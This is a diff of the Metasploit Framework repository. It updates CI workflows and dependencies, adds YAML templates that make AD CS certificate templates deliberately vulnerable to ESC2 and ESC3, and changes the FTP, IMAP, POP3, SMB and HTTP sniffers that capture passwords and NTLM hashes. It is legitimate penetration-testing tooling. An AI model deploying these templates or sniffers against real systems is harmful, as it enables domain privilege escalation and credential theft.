- { version: "mysql:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
env:
RAILS_ENV: test
name: ${{ matrix.target.version }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
steps:
- name: Install system dependencies
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Extract runtime version
run: |
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
env:
DOCKER_IMAGE: ${{ matrix.target.version }}
OS: ${{ matrix.os }}
- name: acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
# Unix run command:
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
# Windows cmd command:
# set SPEC_HELPER_LOAD_METASPLOIT=false
# bundle exec rspec .\spec\acceptance
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/mysql_spec.rb
- name: Archive results
if: always()
uses: actions/upload-artifact@v4
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
path: tmp/allure-raw-data
# Generate a final report from the previous test results
report:
name: Generate report
needs:
- mysql
runs-on: ubuntu-latest
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v4
if: always()
- name: Install system dependencies (Linux)
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- name: Setup Ruby
if: always()
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v4
id: download
if: always()
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: allure generate
if: always()
run: |
export VERSION=2.22.1
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
tar -zxvf allure-$VERSION.tgz -C .
ls -la ${{steps.download.outputs.download-path}}
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
find ${{steps.download.outputs.download-path}}
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
- name: archive results
if: always()
uses: actions/upload-artifact@v4
with:
name: final-report-${{ github.run_id }}
path: |
./allure-report
+182
View File
@@ -0,0 +1,182 @@
name: Acceptance
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
#concurrency:
# group: ${{ github.ref }}-${{ github.workflow }}
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
pull_request:
branches:
- '*'
paths:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**postgres**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
jobs:
postgres:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
services:
postgres:
image: ${{ matrix.docker_image }}
ports: ["5432:5432"]
env:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: password
options: >-
--health-cmd pg_isready
--health-interval 10s
--health-timeout 5s
--health-retries 5
strategy:
fail-fast: true
matrix:
ruby:
- '3.2'
os:
- ubuntu-latest
docker_image:
- postgres:9.4
- postgres:16.2
env:
RAILS_ENV: test
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
steps:
- name: Install system dependencies
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Extract runtime version
run: |
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
env:
DOCKER_IMAGE: ${{ matrix.docker_image }}
OS: ${{ matrix.os }}
- name: acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
# Unix run command:
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
# Windows cmd command:
# set SPEC_HELPER_LOAD_METASPLOIT=false
# bundle exec rspec .\spec\acceptance
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/postgres_spec.rb
- name: Archive results
if: always()
uses: actions/upload-artifact@v4
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
path: tmp/allure-raw-data
# Generate a final report from the previous test results
report:
name: Generate report
needs:
- postgres
runs-on: ubuntu-latest
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v4
if: always()
- name: Install system dependencies (Linux)
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- name: Setup Ruby
if: always()
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v4
id: download
if: always()
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: allure generate
if: always()
run: |
export VERSION=2.22.1
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
tar -zxvf allure-$VERSION.tgz -C .
ls -la ${{steps.download.outputs.download-path}}
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
find ${{steps.download.outputs.download-path}}
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
- name: archive results
if: always()
uses: actions/upload-artifact@v4
with:
name: final-report-${{ github.run_id }}
path: |
./allure-report
+3 -3
View File
@@ -33,7 +33,7 @@ jobs:
name: Docker Build
steps:
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: docker-compose build
run: |
@@ -76,7 +76,7 @@ jobs:
include:
- os: ubuntu-latest
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
@@ -93,7 +93,7 @@ jobs:
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Setup Ruby
env:
+6 -2
View File
@@ -1,7 +1,8 @@
FROM ruby:3.1.4-alpine3.18 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_FORCE_CLEAN="true"
ENV APP_HOME=/usr/src/metasploit-framework
ENV TOOLS_HOME=/usr/src/tools
ENV BUNDLE_IGNORE_MESSAGES="true"
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
go \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system \
&& bundle config $BUNDLER_ARGS \
&& bundle config $BUNDLER_CONFIG_ARGS \
&& bundle install --jobs=8 \
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
bundle clean --force; \
fi \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
+1
View File
@@ -52,3 +52,4 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+24 -23
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.48)
metasploit-framework (6.4.2)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
@@ -33,7 +33,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.161)
metasploit-payloads (= 2.0.166)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.26)
mqtt
@@ -60,6 +60,7 @@ PATH
rb-readline
recog
redcarpet
reline
rex-arch
rex-bin_tools
rex-core
@@ -80,7 +81,7 @@ PATH
rex-zip
ruby-macho
ruby-mysql
ruby_smb (~> 3.3.0)
ruby_smb (~> 3.3.3)
rubyntlm
rubyzip
sinatra
@@ -187,7 +188,7 @@ GEM
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
diff-lcs (1.5.1)
dnsruby (1.70.0)
simpleidn (~> 0.2.1)
docile (1.4.0)
@@ -264,7 +265,7 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.6)
metasploit-credential (6.0.7)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -278,7 +279,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.161)
metasploit-payloads (2.0.166)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -377,7 +378,7 @@ GEM
nokogiri
redcarpet (3.6.0)
regexp_parser (2.8.1)
reline (0.3.8)
reline (0.4.1)
io-console (~> 0.5)
require_all (3.0.0)
rex-arch (0.1.15)
@@ -418,30 +419,30 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.55)
rex-socket (0.1.57)
rex-core
rex-sslscan (0.1.10)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.4)
rex-text (0.2.53)
rex-text (0.2.57)
rex-zip (0.1.5)
rex-text
rexml (3.2.6)
rkelly-remix (0.0.7)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.3)
rspec (3.13.0)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.0)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.6)
rspec-support (~> 3.13.0)
rspec-mocks (3.13.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-support (~> 3.13.0)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
@@ -452,7 +453,7 @@ GEM
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.1)
rspec-support (3.13.0)
rubocop (1.56.4)
base64 (~> 0.1.1)
json (~> 2.3)
@@ -473,8 +474,8 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.1)
bindata
ruby_smb (3.3.4)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
rubyntlm
@@ -544,7 +545,7 @@ GEM
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.3)
webrick
yard (0.9.34)
yard (0.9.36)
zeitwerk (2.6.12)
PLATFORMS
+14 -14
View File
@@ -38,7 +38,7 @@ crass, 1.0.6, MIT
daemons, 1.4.1, MIT
date, 3.3.3, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
@@ -79,10 +79,10 @@ macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.6, "New BSD"
metasploit-framework, 6.3.48, "New BSD"
metasploit-credential, 6.0.7, "New BSD"
metasploit-framework, 6.4.2, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.161, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
@@ -134,7 +134,7 @@ rb-readline, 0.5.5, BSD
recog, 3.1.2, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.1, MIT
reline, 0.3.8, ruby
reline, 0.4.1, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.15, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
@@ -149,20 +149,20 @@ rex-powershell, 0.1.99, "New BSD"
rex-random_identifier, 0.1.11, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.55, "New BSD"
rex-socket, 0.1.57, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.53, "New BSD"
rex-text, 0.2.56, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.2.6, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.6, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.0, MIT
rspec-expectations, 3.13.0, MIT
rspec-mocks, 3.13.0, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.1, MIT
rspec-support, 3.13.0, MIT
rubocop, 1.56.4, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 4.0.0, MIT
@@ -171,7 +171,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.0, "New BSD"
ruby_smb, 3.3.4, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
@@ -207,5 +207,5 @@ windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.34, MIT
yard, 0.9.36, MIT
zeitwerk, 2.6.12, MIT
+2 -4
View File
@@ -34,10 +34,8 @@ Using Metasploit
--
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading [Metasploit Unleashed][unleashed], the [great community
resources](https://metasploit.github.io), or take a look at the
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
page on the documentation website.
reading the basics of [using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
or [Metasploit Unleashed][unleashed].
Contributing
--
@@ -1,5 +1,5 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
@@ -0,0 +1,30 @@
---
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
# Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: 0
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExtendedKeyUsage:
# Any Purpose OID
- 2.5.29.37.0
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Certificate-Name-Flag: 0x82000000
msPKI-Minimal-Key-Size: 2048
@@ -0,0 +1,30 @@
---
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
# Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: 0
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExtendedKeyUsage:
# Certificate Request Agent OID
- 1.3.6.1.4.1.311.20.2.1
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Certificate-Name-Flag: 0x82000000
msPKI-Minimal-Key-Size: 2048
@@ -224,6 +224,7 @@ queries:
- adminCount
- managedBy
- groupAttributes
- objectSID
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_GROUP_POLICY_OBJECTS
+2
View File
@@ -16,6 +16,8 @@ services:
enabled: yes
- type: IMAP
enabled: yes
- type: LDAP
enabled: yes
- type: MSSQL
enabled: yes
- type: MySQL
+20 -2
View File
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 5 from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass] = ""
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
when :login_pass
if(s[:user] and s[:pass])
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 230 from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
+30 -3
View File
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
when :login_pass
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability OK reponse from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability NO response from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability BAD response from server",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+20 -2
View File
@@ -52,7 +52,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:name],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -72,7 +81,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto]="pop3"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:proto],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
s[:pass]=""
end
+18 -18
View File
@@ -4,7 +4,7 @@
# When db is available reports go into db
#
#Memo :
#Memo :
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
@@ -20,7 +20,7 @@
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
when "NTLMv1" then "netntlm"
when "NTLM2_SESSION" then "netntlm"
when "NTLMv2" then "netntlmv2"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
report_cred(
:ip => dst_ip,
:port => s[:port],
:service_name => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => :nonreplayable_hash,
:jtr_format => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
report_note(
+10 -1
View File
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => 'http',
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
+188
View File
@@ -0,0 +1,188 @@
[
{
"name": "v0.7.1",
"commit": {
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
}
},
{
"name": "v0.7.0",
"commit": {
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
}
},
{
"name": "v0.6.2",
"commit": {
"sha": "b0c367cac7211117e88a55517396764036ac0552"
}
},
{
"name": "v0.6.1",
"commit": {
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
}
},
{
"name": "v0.6.0",
"commit": {
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
}
},
{
"name": "v0.5.0",
"commit": {
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
}
},
{
"name": "v0.4.0",
"commit": {
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
}
},
{
"name": "v0.3.3",
"commit": {
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
}
},
{
"name": "v0.3.2",
"commit": {
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
}
},
{
"name": "v0.3.1",
"commit": {
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
}
},
{
"name": "v0.3.0",
"commit": {
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
}
},
{
"name": "v0.2.1",
"commit": {
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
}
},
{
"name": "v0.2.0",
"commit": {
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
}
},
{
"name": "v0.1.0",
"commit": {
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
}
},
{
"name": "v0.0.10",
